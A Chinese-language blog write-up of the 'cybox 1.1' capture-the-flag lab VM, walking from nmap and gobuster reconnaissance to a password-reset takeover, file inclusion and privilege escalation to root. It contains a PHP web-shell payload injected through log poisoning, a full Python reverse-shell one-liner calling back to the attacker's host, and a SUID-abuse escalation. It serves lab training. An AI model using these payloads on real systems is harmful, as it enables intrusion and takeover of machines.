cybox1.1靶机练习

cybox:1.1靶机练习

网络结构:

环境搭建平台为VMware15,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机组成

靶机ip:192.168.1.141

kali linux ip:192.168.1.137

信息收集:

主机发现:
1
nmap -sP 192.168.1.0/24

下图中192.168.1.1为VMnet8网卡地址,1.3位网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.141

image-20210210102234570

端口服务扫描:
image-20210210113920614

靶机开启了80和443端口,访问一下看看

直接访问ip后是一个web页面

image-20210210114127375

拖到页面最下方可以看到一个域名

image-20210210114235781

爆破目录:

爆破一下目录

1
dirb "http://192.168.1.141" /usr/share/dirb/wordlists/big.txt
image-20210210114345084

同时也使用dirbuster爆破一下详细页面,以取得更多的信息

image-20210210115418915

依次访问dirb爆出的目录,发现assets目录下存放了些css、js文件

image-20210210114945379

/cgi/bin目录无访问权限,/phpadmin目录只允许本地访问

dirbuster爆破结果也出来了,与dirb扫出的结果相差不大,此时并没有发现到什么有价值的页面。

image-20210210115351005

此时我们甚至都没有找到真正提供服务的web页面,我们扫描端口时可以看到目标机器开放了ftp服务,还开放了pop3、imap,还提供邮件服务,很明显目标机器有一个较复杂的网站提供服务,但我们的扫描结果并不相符,说明爆破姿势不对

之前访问首页的时候看到了一个域名cybox.company,我们将其添加进hosts文件,尝试再次扫描一下

1
vim /etc/hosts

image-20210210115848593

这次我们使用gobuster进行扫描,gobuster是一款基于go语言的目录/文件和DNS爆破工具,可以对目录、文件、DNS和VHost等对象进行暴力破解攻击,下载链接https://github.com/OJ/gobuster,kali下可以直接**apt-get install gobuster**进行安装

扫描后,可以看到,有了我们之前并未爆破出的页面

1
gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt

image-20210210120618851

依次访问各页面

dev.cybox.company是一个PHPinfo

image-20210210122858686

ftp.cybox.company是一个ftp页面,目测实现文件传输功能,需要验证用户名密码

image-20210210123135118

webmail.cybox.company是一个邮箱登录页面

image-20210210124443912

register.cybox.company是一个创建用户页面,尝试创建后直接显示创建成功,也并没有提示输入密码等信息,直接给了一个与用户名相同的密码,暂时不知道是创建了什么用户

image-20210210125804934

monitor.cybox.company访问后跳转到一个登录页面,下面两个链接可以跳转到一个注册页面,以及一个密码找回

image-20210210123613774

漏洞挖掘:

在上面这个页面,注册一个用户登录试一下

image-20210210131944537

登录后发现并没有什么实际功能,只有一个创建条目记录时间的,不知道有什么作用

image-20210210132233531

这里退出登录,试一下未注册用户,发现不存在的用户登录会直接提示用户不存在,这里可以试一下有无admin用户

image-20210210134819545

尝试猜解管理员的用户名,因为登录页面提供密码修改,可以试试能不能越权修改密码,此处发现存在一个admin@cybox.company,显示密码错误,并没有显示用户不存在,先记下,一会看看能不能改

image-20210210222525468

点击忘记密码,会跳转到一个发送链接的页面,这里是将修改链接发送到邮箱了,应该就是我们刚刚看到的那个邮箱的登录界面

image-20210210135357234

到邮箱登录页面webmail,登录,发现无法登录,一直显示密码用户名不匹配,说明两边的用户不互通,但我们这时还有一个之前的register.cybox.company/目录,用它创建一个同名用户aaa

image-20210210222010198

之后再到webmail登录,登录成功,可以看到我们之前接收到的修改密码的邮件,里面有个修改链接

点进去,跳转到一个修改密码页面,我们用burp抓下包,把邮箱改成admin的,看看能不能通过改包来越权修改admin用户的密码

image-20210210222942625

image-20210210223046506

点击放包,直接跳转回了登录页面,尝试登录admin用户,登录成功,看来并没有什么验证

image-20210210223332763

image-20210210223359734

点进Admin panel,看一下管理页面,结果,开发中

image-20210210223827281

到这里又断了,进入到网站的后台结果开发中。。。

但是方法总比困难多,右键查看页面代码,可以看到,这里包含进来一个php页面

image-20210210224124818

我们可以尝试文件包含,包含一个/etc/passwd文件测试一下,包含成功,此处存在文件包含漏洞

image-20210210224656944

然后咱们可以通过日志文件反弹一个shell,apache的日志目录为/opt/bitnami/apache2/logs/,请求日志文件为access_log,错误日志文件为error_log,我们包含请求日志看一下,可以看到,这是ftp页面的请求日志

image-20210212173236662

我们转到ftp页面

image-20210212200452500

打开burp抓包,刷新页面,拦一个包下来,User-Agent改成cmd命令的php代码

1
<?php system($_GET['s']);?>

image-20210212200557510

发包,然后测试一下,测试成功,没有问题

image-20210212201117351

制作反弹shell

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.137',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

image-20210212203519286

kali端监听443端口(这里选取443是因为经测试此靶机只允许通往部分端口的数据包进出)

image-20210212203720362

监听好端口后,web页面敲击回车,成功反弹shell,拿到了一个低权限的shell

image-20210212203808874

权限提升:

首先查找有s权限的文件,只看非系统文件,此处需要审计代码,可以看到,在/opt目录下有一个registerlauncher

1
find / -perm -u=s -type f 2>/dev/null
image-20210212213925216

在我们查看此文件内容时可以发现它调用了另一个/opt目录下的文件register,注意此处直接用cat查看文件会乱码,需要用strings转化字符串

1
strings registerlauncher
image-20210212214029876

在查看register文件内容,发现这是一个可以创建用户的文件

image-20210212220738362

实际就是实现了那个register页面的功能,测试之前创建的aaa用户,此处可以登录

首先取得一个交互shell

1
python -c "import pty;pty.spawn('/bin/bash');"

然后尝试登录aaa,成功

image-20210212222901048

试一下能不能切换root,失败,提示我们aaa不再sudoers文件中

image-20210212223159058

另外此处我们无权限查看sudoers文件,但应该是有用户持有切换权限的,这里就需要试了,所幸并不难猜,用户名起为sudo即可

image-20210212224130623

创建完之后切换用户sudo,即可切换root用户,至此提权完毕

image-20210212224253887

在root的家目录下可以看到一个root.txt,查看一下,应该是个flag

image-20210212224445648

参考文章:

https://blog.csdn.net/yutianovo/article/details/111687112


作者:C0mpactDisk,本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!